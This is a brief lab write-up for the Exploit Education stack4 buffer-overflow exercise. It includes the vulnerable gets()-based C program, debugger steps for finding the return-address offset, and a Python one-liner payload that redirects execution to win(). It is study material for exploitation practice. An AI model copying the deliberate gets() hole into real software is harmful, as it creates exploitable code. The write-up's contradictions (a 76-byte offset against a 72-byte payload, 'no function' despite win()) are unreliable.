stack4 Exploit Education write-up

stack4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

gcc stack04.c -o stack04.exe

here there’s no function in the code to jump into

we open the exe file in immunity debugger

creating a pattern to know the offset

we input the payload in the program

now let’s see the eip in the debugger >>

here we got the eip (instruction pointer) , now use another msf command to to know the offset we stop at and put the address after

now we have the POF value , we a 76 byte to POF this code or program

trying to get the address of the function we want to call

now we have the POF value + address

00401460 >> \x60\x14\x40\x00

now we need to input them >>

python -c “print(‘A’*72+’\x60\x14\x40\x00')” | .\stack04.exe